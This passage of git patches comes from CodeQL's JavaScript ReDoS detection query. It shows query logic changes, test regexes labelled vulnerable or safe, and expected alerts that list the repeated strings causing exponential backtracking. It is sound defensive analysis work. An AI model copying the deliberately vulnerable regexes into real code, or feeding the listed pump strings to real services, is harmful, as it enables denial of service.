(?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\!'. | +| tst.js:116:60:116:104 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '="' and containing many repetitions of '\\\\!'. | +| tst.js:119:16:119:60 | (?:\\\\[\\x00-\\x7f]\|[^\\x00-\\x08\\x0a-\\x1f\\x7f"])* | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\!'. | | tst.js:125:15:125:28 | ([a-z]\|[d-h])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'd'. | | tst.js:128:15:128:30 | ([^a-z]\|[^0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '/'. | | tst.js:131:15:131:25 | (\\d\|[0-9])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | @@ -95,10 +95,10 @@ | tst.js:173:16:173:20 | [\\d]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | | tst.js:182:17:182:21 | [^>]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. | | tst.js:185:16:185:21 | [^>a]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. | -| tst.js:188:17:188:19 | \\s* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | +| tst.js:188:17:188:19 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '\\n' and containing many repetitions of '\\n'. | | tst.js:191:18:191:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | -| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' A:'. | -| tst.js:194:81:194:82 | ,? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ',A: '. | +| tst.js:194:68:194:79 | [ a-zA-Z{}]+ | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A:' and containing many repetitions of ' A:'. | +| tst.js:194:81:194:82 | ,? | This part of the regular expression may cause exponential backtracking on strings starting with '{[A(A)A: ' and containing many repetitions of ',A: '. | | tst.js:197:15:197:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:197:18:197:19 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | | tst.js:200:17:200:18 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | @@ -106,10 +106,19 @@ | tst.js:209:15:209:16 | a+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:215:15:215:17 | \\n+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | | tst.js:218:15:218:19 | [^X]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'W'. | -| tst.js:221:20:221:20 | b | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bW'. | -| tst.js:227:20:227:20 | b | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'bW'. | -| tst.js:239:16:239:17 | ab | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'ab'. | +| tst.js:221:20:221:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. | +| tst.js:227:20:227:20 | b | This part of the regular expression may cause exponential backtracking on strings starting with 'W' and containing many repetitions of 'bW'. | +| tst.js:239:16:239:17 | ab | This part of the regular expression may cause exponential backtracking on strings starting with 'a' and containing many repetitions of 'ab'. | | tst.js:245:15:245:21 | [\\n\\s]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\n'. | -| tst.js:254:87:254:89 | \\w* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | +| tst.js:254:87:254:89 | \\w* | This part of the regular expression may cause exponential backtracking on strings starting with 'foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz' and containing many repetitions of '0foobarbazfoobarbazfoobarbazfoobarbazfoobarbazfoobarbaz'. | | tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' thisisagoddamnlongstringforstresstestingthequery'. | | tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'thisisagoddamnlongstringforstresstestingthequery'. | +| tst.js:272:21:272:22 | b+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | +| tst.js:275:38:275:40 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '\s]+))?)*)\s*(\/?)>/; + +// GOOD +var good30 = /(a+)*[^][^][^]?/; + +// GOOD - but we fail to see that repeating the attack string ends in the "accept any" state. +var good31 = /(a+)*[^]{2,3}/; + +// GOOD - but we don't find that no suffix is rejected +var good32 = /(a+)*([^]{2,}|X)$/; + +// GOOD - but still flagged +var good33 = /(a+)*([^]*|X)$/; + +// NOT GOOD +var bad64 = /((a+)*$|[^]+)/; + +// GOOD - but still flagged. The only change compared to the above is the order of alternatives, which we don't model. +var good34 = /((a+)*$|[^]+)/; + +// GOOD +var good35 = /((;|^)a+)+$/; + +// NOT GOOD - a good prefix test +var bad65 = /(^|;)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(0|1)(e+)+f/; + +// NOT GOOD +var bad66 = /^ab(c+)+$/; From d9ebb7b20e9a9b42d658e6babfab6a34091541a0 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 22:58:39 +0100 Subject: [PATCH 0064/1241] escape tabs --- javascript/ql/src/Performance/ReDoS.ql | 7 ++++++- .../ql/test/query-tests/Performance/ReDoS/ReDoS.expected | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index e6cc1d7747e..43a6282101a 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -996,7 +996,12 @@ State process(State fork, string w, int i) { */ bindingset[s] string escape(string s) { - result = s.replaceAll("\\", "\\\\").replaceAll("\n", "\\n").replaceAll("\r", "\\r") + result = + s + .replaceAll("\\", "\\\\") + .replaceAll("\n", "\\n") + .replaceAll("\r", "\\r") + .replaceAll("\t", "\\t") } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index f2f7eb46cb3..3b65b1b1a87 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -63,7 +63,7 @@ | tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. | | tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | | tst.js:60:43:60:54 | [a-zA-Z0-9]+ | This part of the regular expression may cause exponential backtracking on strings starting with '0' and containing many repetitions of '0'. | -| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\t'. | +| tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\t'. | | tst.js:66:38:66:40 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '[' and containing many repetitions of ']['. | | tst.js:71:19:71:26 | (\\\\?.)*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '\\\\a'. | | tst.js:74:14:74:21 | (b\|a?b)* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'b'. | From a8944c8953a0f2f0a70d8965404c2c4311d30335 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 19 Nov 2020 18:42:49 +0100 Subject: [PATCH 0065/1241] model accept states more accurately by adding an AcceptAny state, modelling `$`, and checking the existence of rejecting suffixes --- javascript/ql/src/Performance/ReDoS.ql | 167 ++++++++++++------ .../Performance/ReDoS/ReDoS.expected | 6 +- .../test/query-tests/Performance/ReDoS/tst.js | 8 +- 3 files changed, 121 insertions(+), 60 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 43a6282101a..d7f465585dd 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -46,8 +46,8 @@ import semmle.javascript.security.performance.SuperlinearBackTracking * * This is what the query does. It makes a simple attempt to construct a * prefix `v` leading into `q`, but only to improve the alert message. - * And the query only weakly attempts to construct a suffix that ensures - * rejection; this causes some false positives. + * And the query tries to prove the existence of a suffix that ensures + * rejection. This check might fail, which can cause false positives. * * Finally, sometimes it depends on the translation whether the NFA generated * for a regular expression has a pumpable fork or not. We implement one @@ -59,7 +59,9 @@ import semmle.javascript.security.performance.SuperlinearBackTracking * * * Every sub-term `t` gives rise to an NFA state `Match(t,i)`, representing * the state of the automaton before attempting to match the `i`th character in `t`. - * * There is one additional accepting state `Accept(r)`. + * * There is one accepting state `Accept(r)`. + * * There is a special `AcceptAnySuffix(r)` state, which accepts any suffix string + * by using an epsilon transition to `Accept(r)` and an any transition to itself. * * Transitions between states may be labelled with epsilon, or an abstract * input symbol. * * Each abstract input symbol represents a set of concrete input characters: @@ -73,13 +75,8 @@ import semmle.javascript.security.performance.SuperlinearBackTracking * * Once a trace of pairs of abstract input symbols that leads from a fork * back to itself has been identified, we attempt to construct a concrete * string corresponding to it, which may fail. - * * Instead of trying to construct a suffix that makes the automaton fail, - * we ensure that repeating `n` copies of `w` does not reach a state that is - * an epsilon transition from the accepting state. - * This assumes that the accepting state accepts any suffix. - * Regular expressions - where the end anchor `$` is used - have an accepting state - * that does not accept all suffixes. Such regular expression not accurately - * modelled by this assumption, which can cause false negatives. + * * Lastly we ensure that any state reached by repeating `n` copies of `w` has + * a suffix `x` (possible empty) that is __not__ accepted. */ /** @@ -457,26 +454,35 @@ newtype TState = exists(t.(RegexpCharacterConstant).getValue().charAt(i)) ) } or - Accept(RegExpRoot l) { l.isRelevant() } + Accept(RegExpRoot l) { l.isRelevant() } or + AcceptAnySuffix(RegExpRoot l) { l.isRelevant() } /** * A state in the NFA corresponding to a regular expression. * * Each regular expression literal `l` has one accepting state - * `Accept(l)` and a state `Match(t, i)` for every subterm `t`, + * `Accept(l)`, one state that accepts all suffixes `AcceptAnySuffix(l)`, + * and a state `Match(t, i)` for every subterm `t`, * which represents the state of the NFA before starting to * match `t`, or the `i`th character in `t` if `t` is a constant. */ class State extends TState { RegExpTerm repr; - State() { this = Match(repr, _) or this = Accept(repr) } + State() { + this = Match(repr, _) or + this = Accept(repr) or + this = AcceptAnySuffix(repr) + } string toString() { exists(int i | this = Match(repr, i) | result = "Match(" + repr + "," + i + ")") or this instanceof Accept and result = "Accept(" + repr + ")" + or + this instanceof AcceptAnySuffix and + result = "AcceptAny(" + repr + ")" } Location getLocation() { result = repr.getLocation() } @@ -524,7 +530,7 @@ State after(RegExpTerm t) { or exists(RegExpOpt opt | t = opt.getAChild() | result = after(opt)) or - exists(RegExpRoot root | t = root | result = Accept(root)) + exists(RegExpRoot root | t = root | result = AcceptAnySuffix(root)) } /** @@ -579,6 +585,16 @@ predicate delta(State q1, EdgeLabel lbl, State q2) { or q1 = before(opt) and q2 = after(opt) ) + or + exists(RegExpRoot root | q1 = AcceptAnySuffix(root) | + lbl = Any() and q2 = q1 + or + lbl = Epsilon() and q2 = Accept(root) + ) + or + exists(RegExpDollar dollar | q1 = before(dollar) | + lbl = Epsilon() and q2 = Accept(getRoot(dollar)) + ) } /** @@ -959,34 +975,98 @@ module PrefixConstruction { } /** - * Gets a state that can be reached from pumpable `fork` consuming all - * chars in `w` any number of times followed by the first `i+1` characters of `w`. + * Predicates for testing the presence of a rejecting suffix. * - * This predicate is used to ensure that the accepting state is not reached from the fork by repeating `w`. - * This works under the assumption that any accepting state accepts all suffixes. - * For example, a regexp like `/^(a+)+/` will accept any string as long the prefix is some number of `"a"`s, - * and it is therefore not possible to construct a rejected suffix. - * This assumption breaks on regular expression that use the anchor `$`, e.g: `/^(a+)+$/`, and such regular - * expression are not accurately modeled by this query. + * These predicates are used to ensure that the all states reached from the fork + * by repeating `w` have a rejecting suffix. + * + * For example, a regexp like `/^(a+)+/` will accept any string as long the prefix is + * some number of `"a"`s, and it is therefore not possible to construct a rejecting suffix. + * + * A regexp like `/(a+)+$/` or `/(a+)+b/` trivially has a rejecting suffix, + * as the suffix "X" will cause both the regular expressions to be rejected. * * The string `w` is repeated any number of times because it needs to be * infinitely repeatedable for the attack to work. - * For a regular expression `/((ab)+)*abab/` the accepting state is not reachable from the fork - * using epsilon transitions. But any attempt at repeating `w` will end in the accepting state. - * This also relies on the assumption that any accepting state will accept all suffixes. + * For the regular expression `/((ab)+)*abab/` the accepting state is not reachable from the fork + * using epsilon transitions. But any attempt at repeating `w` will end in a state that accepts all suffixes. */ -State process(State fork, string w, int i) { - isPumpable(fork, w) and - exists(State prev | - i = 0 and prev = fork +module SuffixConstruction { + /** + * Holds if all states reachable from `fork` by repeating `w` + * are rejectable by appending some suffix. + */ + predicate reachesOnlyRejectableSuffixes(State fork, string w) { + isPumpable(fork, w) and + forex(State next | next = process(fork, w, w.length() - 1) | isDefinitelyRejectable(next)) + } + + /** + * Holds if there definitely exists a path starting from `s` that leads to the regular expression being rejected. + */ + private predicate isDefinitelyRejectable(State s) { + // exists a reject edge with some char. + hasRejectEdge(s, _) or - prev = process(fork, w, i - 1) + // all edges (at least one) with some char leads to another state that is rejectable. + exists(string char | char = relevant() | + forex(State next | deltaClosed(s, getAnInputSymbolMatching(char), next) | + isDefinitelyRejectable(next) + ) + ) or - // repeat until fixpoint - i = 0 and - prev = process(fork, w, w.length() - 1) - | - deltaClosed(prev, getAnInputSymbolMatching(w.charAt(i)), result) + // stopping here is rejection + not epsilonSucc*(s) = Accept(_) + } + + /** + * Gets a char used for finding possible suffixes. + */ + private string relevant() { result = CharacterClasses::getARelevantChar() } + + /** + * Holds if there is no edge from `s` labeled `char` in our NFA. + * The NFA does not model reject states, so the above is the same as saying there is a reject edge. + */ + private predicate hasRejectEdge(State s, string char) { + char = relevant() and + not deltaClosed(s, getAnInputSymbolMatching(char), _) + } + + /** + * Gets a state that can be reached from pumpable `fork` consuming all + * chars in `w` any number of times followed by the first `i+1` characters of `w`. + */ + private State process(State fork, string w, int i) { + isPumpable(fork, w) and + exists(State prev | + i = 0 and prev = fork + or + prev = process(fork, w, i - 1) + or + // repeat until fixpoint + i = 0 and + prev = process(fork, w, w.length() - 1) + | + deltaClosed(prev, getAnInputSymbolMatching(w.charAt(i)), result) + ) + } +} + +/** + * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `witness`. + */ +predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { + exists(int i, string c | s = Match(term, i) | + c = + min(string w | + isPumpable(s, w) and + not isPumpable(epsilonSucc+(s), _) and + SuffixConstruction::reachesOnlyRejectableSuffixes(s, w) + | + w order by w.length(), w + ) and + witness = escape(rotate(c, i)) ) } @@ -1015,23 +1095,6 @@ string rotate(string str, int i) { result = str.suffix(str.length() - i) + str.prefix(str.length() - i) } -/** - * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `witness`. - */ -predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { - exists(int i, string c | s = Match(term, i) | - c = - min(string w | - isPumpable(s, w) and - not isPumpable(epsilonSucc+(s), _) and - not epsilonSucc*(process(s, w, _)) = Accept(_) - | - w order by w.length(), w - ) and - witness = escape(rotate(c, i)) - ) -} - from RegExpTerm t, string witness, State s, string prefixMsg where isReDoSAttackable(t, witness, s) and diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected index 3b65b1b1a87..58cf4a3e5df 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected @@ -57,8 +57,8 @@ | tst.js:31:54:31:55 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '!\|\\n-\|\\n' and containing many repetitions of '\|\|\\n'. | | tst.js:36:23:36:32 | (\\\\\\/\|.)*? | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '\\\\/'. | | tst.js:41:27:41:28 | .* | This part of the regular expression may cause exponential backtracking on strings starting with '#' and containing many repetitions of '#'. | -| tst.js:47:25:47:27 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. | -| tst.js:47:31:47:33 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with ''' and containing many repetitions of ''''. | +| tst.js:47:31:47:33 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '"' and containing many repetitions of '""'. | +| tst.js:47:37:47:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with ''' and containing many repetitions of ''''. | | tst.js:52:37:52:39 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$[' and containing many repetitions of ']['. | | tst.js:52:70:52:72 | .*? | This part of the regular expression may cause exponential backtracking on strings starting with '$.$[' and containing many repetitions of ']['. | | tst.js:58:15:58:20 | [a-z]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of 'a'. | @@ -93,7 +93,6 @@ | tst.js:167:15:167:27 | (1s\|[\\da-z])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '1s'. | | tst.js:170:15:170:23 | (0\|[\\d])* | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | | tst.js:173:16:173:20 | [\\d]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '0'. | -| tst.js:182:17:182:21 | [^>]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. | | tst.js:185:16:185:21 | [^>a]+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of '='. | | tst.js:188:17:188:19 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with '\\n' and containing many repetitions of '\\n'. | | tst.js:191:18:191:20 | \\s+ | This part of the regular expression may cause exponential backtracking on strings containing many repetitions of ' '. | @@ -117,7 +116,6 @@ | tst.js:275:38:275:40 | \\s* | This part of the regular expression may cause exponential backtracking on strings starting with ']+)*(>|$)/; // NOT GOOD @@ -283,7 +283,7 @@ var good31 = /(a+)*[^]{2,3}/; // GOOD - but we don't find that no suffix is rejected var good32 = /(a+)*([^]{2,}|X)$/; -// GOOD - but still flagged +// GOOD var good33 = /(a+)*([^]*|X)$/; // NOT GOOD From b8fabfa24eaf7f9025bcdf45b8f04694018b591b Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Fri, 20 Nov 2020 20:24:27 +0100 Subject: [PATCH 0066/1241] only construct prefix/suffix for regular expressions that has a pumpable state --- javascript/ql/src/Performance/ReDoS.ql | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index d7f465585dd..98bd52b4b0c 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -904,9 +904,12 @@ module PrefixConstruction { * Holds if `state` starts the string matched by the regular expression. */ private predicate isStartState(State state) { - state = Match(any(RegExpRoot r), _) - or - exists(RegExpCaret car | state = after(car)) + state instanceof StateInPumpableRegexp and + ( + state = Match(any(RegExpRoot r), _) + or + exists(RegExpCaret car | state = after(car)) + ) } /** @@ -972,6 +975,16 @@ module PrefixConstruction { min(string c | delta(prev, any(InputSymbol symbol | c = intersect(Any(), symbol)), state)) ) } + + /** + * A state within a regular expression that has a pumpable state. + */ + class StateInPumpableRegexp extends State { + pragma[noinline] + StateInPumpableRegexp() { + exists(State s | isPumpable(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr())) + } + } } /** @@ -992,6 +1005,8 @@ module PrefixConstruction { * using epsilon transitions. But any attempt at repeating `w` will end in a state that accepts all suffixes. */ module SuffixConstruction { + import PrefixConstruction + /** * Holds if all states reachable from `fork` by repeating `w` * are rejectable by appending some suffix. @@ -1004,7 +1019,7 @@ module SuffixConstruction { /** * Holds if there definitely exists a path starting from `s` that leads to the regular expression being rejected. */ - private predicate isDefinitelyRejectable(State s) { + private predicate isDefinitelyRejectable(StateInPumpableRegexp s) { // exists a reject edge with some char. hasRejectEdge(s, _) or @@ -1028,7 +1043,7 @@ module SuffixConstruction { * Holds if there is no edge from `s` labeled `char` in our NFA. * The NFA does not model reject states, so the above is the same as saying there is a reject edge. */ - private predicate hasRejectEdge(State s, string char) { + private predicate hasRejectEdge(StateInPumpableRegexp s, string char) { char = relevant() and not deltaClosed(s, getAnInputSymbolMatching(char), _) } From e03c19b7fc6719745c36ad90fdb5d73c62d5b0ea Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Sun, 22 Nov 2020 22:46:56 +0100 Subject: [PATCH 0067/1241] only search prefixes/suffixes from the candidates that are used in the end --- javascript/ql/src/Performance/ReDoS.ql | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 98bd52b4b0c..797183f9687 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -953,8 +953,8 @@ module PrefixConstruction { lastStartState(state) and result = "" or - // the search stops past the last pumpable state. - lengthFromStart(state) <= max(lengthFromStart(any(State s | isPumpable(s, _)))) and + // the search stops past the last redos candidate state. + lengthFromStart(state) <= max(lengthFromStart(any(State s | isReDoSCandidate(s, _)))) and exists(State prev | // select a unique predecessor (by an arbitrary measure) prev = @@ -982,7 +982,7 @@ module PrefixConstruction { class StateInPumpableRegexp extends State { pragma[noinline] StateInPumpableRegexp() { - exists(State s | isPumpable(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr())) + exists(State s | isReDoSCandidate(s, _) | getRoot(s.getRepr()) = getRoot(this.getRepr())) } } } @@ -1012,7 +1012,7 @@ module SuffixConstruction { * are rejectable by appending some suffix. */ predicate reachesOnlyRejectableSuffixes(State fork, string w) { - isPumpable(fork, w) and + isReDoSCandidate(fork, w) and forex(State next | next = process(fork, w, w.length() - 1) | isDefinitelyRejectable(next)) } @@ -1053,7 +1053,7 @@ module SuffixConstruction { * chars in `w` any number of times followed by the first `i+1` characters of `w`. */ private State process(State fork, string w, int i) { - isPumpable(fork, w) and + isReDoSCandidate(fork, w) and exists(State prev | i = 0 and prev = fork or @@ -1070,13 +1070,13 @@ module SuffixConstruction { /** * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `witness`. + * Gets the minimum possible string that causes exponential backtracking. */ predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { exists(int i, string c | s = Match(term, i) | c = min(string w | - isPumpable(s, w) and - not isPumpable(epsilonSucc+(s), _) and + isReDoSCandidate(s, w) and SuffixConstruction::reachesOnlyRejectableSuffixes(s, w) | w order by w.length(), w @@ -1085,6 +1085,15 @@ predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { ) } +/** + * Holds if repeating `w' starting at `s` is a candidate for causing exponential backtracking. + * No check whether a rejected suffix exists has been made. + */ +predicate isReDoSCandidate(State s, string w) { + isPumpable(s, w) and + not isPumpable(epsilonSucc+(s), _) +} + /** * Gets the result of backslash-escaping newlines, carriage-returns and * backslashes in `s`. From c5f5206174b99760acabc93d242b782f6f164257 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 24 Nov 2020 23:07:07 +0100 Subject: [PATCH 0068/1241] update expected output --- .../ReDoS/PolynomialBackTracking.expected | 21 ++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index c1ae8567752..555474ebaea 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -183,9 +183,9 @@ | regexplib/uri.js:73:2:73:4 | .*? | it can start matching anywhere | | tst.js:14:14:14:19 | (.*,)+ | it can start matching anywhere | | tst.js:14:15:14:16 | .* | it can start matching anywhere | -| tst.js:47:15:47:37 | (?:[^"']\|".*?"\|'.*?')*? | it can start matching anywhere | -| tst.js:47:25:47:27 | .*? | it can start matching anywhere after the start of the preceeding '"' | -| tst.js:47:31:47:33 | .*? | it can start matching anywhere after the start of the preceeding ''' | +| tst.js:47:21:47:43 | (?:[^"']\|".*?"\|'.*?')*? | it can start matching anywhere | +| tst.js:47:31:47:33 | .*? | it can start matching anywhere after the start of the preceeding '"' | +| tst.js:47:37:47:39 | .*? | it can start matching anywhere after the start of the preceeding ''' | | tst.js:66:15:66:44 | ([\\w#:.~>+()\\s-]+\|\\*\|\\[.*?\\])+ | it can start matching anywhere | | tst.js:66:16:66:31 | [\\w#:.~>+()\\s-]+ | it can start matching anywhere | | tst.js:66:38:66:40 | .*? | it can start matching anywhere after the start of the preceeding '\\[' | @@ -265,3 +265,18 @@ | tst.js:257:14:257:116 | (.thisisagoddamnlongstringforstresstestingthequery\|\\sthisisagoddamnlongstringforstresstestingthequery)* | it can start matching anywhere | | tst.js:260:14:260:77 | (thisisagoddamnlongstringforstresstestingthequery\|this\\w+query)* | it can start matching anywhere | | tst.js:263:15:263:117 | (thisisagoddamnlongstringforstresstestingthequery\|imanotherbutunrelatedstringcomparedtotheotherstring)* | it can start matching anywhere | +| tst.js:278:15:278:19 | (a+)* | it can start matching anywhere | +| tst.js:278:16:278:17 | a+ | it can start matching anywhere | +| tst.js:281:15:281:19 | (a+)* | it can start matching anywhere | +| tst.js:281:16:281:17 | a+ | it can start matching anywhere | +| tst.js:284:15:284:19 | (a+)* | it can start matching anywhere | +| tst.js:284:16:284:17 | a+ | it can start matching anywhere | +| tst.js:284:21:284:27 | [^]{2,} | it can start matching anywhere | +| tst.js:287:15:287:19 | (a+)* | it can start matching anywhere | +| tst.js:287:16:287:17 | a+ | it can start matching anywhere | +| tst.js:287:21:287:24 | [^]* | it can start matching anywhere | +| tst.js:290:15:290:19 | (a+)* | it can start matching anywhere | +| tst.js:290:16:290:17 | a+ | it can start matching anywhere | +| tst.js:293:16:293:20 | (a+)* | it can start matching anywhere | +| tst.js:293:17:293:18 | a+ | it can start matching anywhere | +| tst.js:296:15:296:24 | ((;\|^)a+)+ | it can start matching anywhere | From 500b94b50e6b9f43cc7d0193013fa8efd2687d00 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 25 Nov 2020 13:38:27 +0100 Subject: [PATCH 0069/1241] rename `witness` to `pump` --- javascript/ql/src/Performance/ReDoS.ql | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/javascript/ql/src/Performance/ReDoS.ql b/javascript/ql/src/Performance/ReDoS.ql index 797183f9687..c623ce3ae68 100644 --- a/javascript/ql/src/Performance/ReDoS.ql +++ b/javascript/ql/src/Performance/ReDoS.ql @@ -1069,10 +1069,10 @@ module SuffixConstruction { } /** - * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `witness`. + * Holds if `term` may cause exponential backtracking on strings containing many repetitions of `pump`. * Gets the minimum possible string that causes exponential backtracking. */ -predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { +predicate isReDoSAttackable(RegExpTerm term, string pump, State s) { exists(int i, string c | s = Match(term, i) | c = min(string w | @@ -1081,7 +1081,7 @@ predicate isReDoSAttackable(RegExpTerm term, string witness, State s) { | w order by w.length(), w ) and - witness = escape(rotate(c, i)) + pump = escape(rotate(c, i)) ) } @@ -1111,7 +1111,7 @@ string escape(string s) { /** * Gets `str` with the last `i` characters moved to the front. * - * We use this to adjust the witness string to match with the beginning of + * We use this to adjust the pump string to match with the beginning of * a RegExpTerm, so it doesn't start in the middle of a constant. */ bindingset[str, i] @@ -1119,9 +1119,9 @@ string rotate(string str, int i) { result = str.suffix(str.length() - i) + str.prefix(str.length() - i) } -from RegExpTerm t, string witness, State s, string prefixMsg +from RegExpTerm t, string pump, State s, string prefixMsg where - isReDoSAttackable(t, witness, s) and + isReDoSAttackable(t, pump, s) and ( prefixMsg = "starting with '" + escape(PrefixConstruction::prefix(s)) + "' and " and not PrefixConstruction::prefix(s) = "" @@ -1132,4 +1132,4 @@ where ) select t, "This part of the regular expression may cause exponential backtracking on strings " + prefixMsg + - "containing many repetitions of '" + witness + "'." + "containing many repetitions of '" + pump + "'." From b418cb5fe0f5a3739a3d2a43938c7b0d4c0739cc Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Wed, 25 Nov 2020 13:59:10 +0100 Subject: [PATCH 0070/1241] add test case where the successor of the repeating term matches epsilon --- .../ql/test/query-tests/Performance/ReDoS/ReDoS.expected | 1 + javascript/ql/test/query-tests/Performance/ReDoS/tst.js | 3 +++ 2 files changed, 4 insertions(+) diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/ReDoS.expected 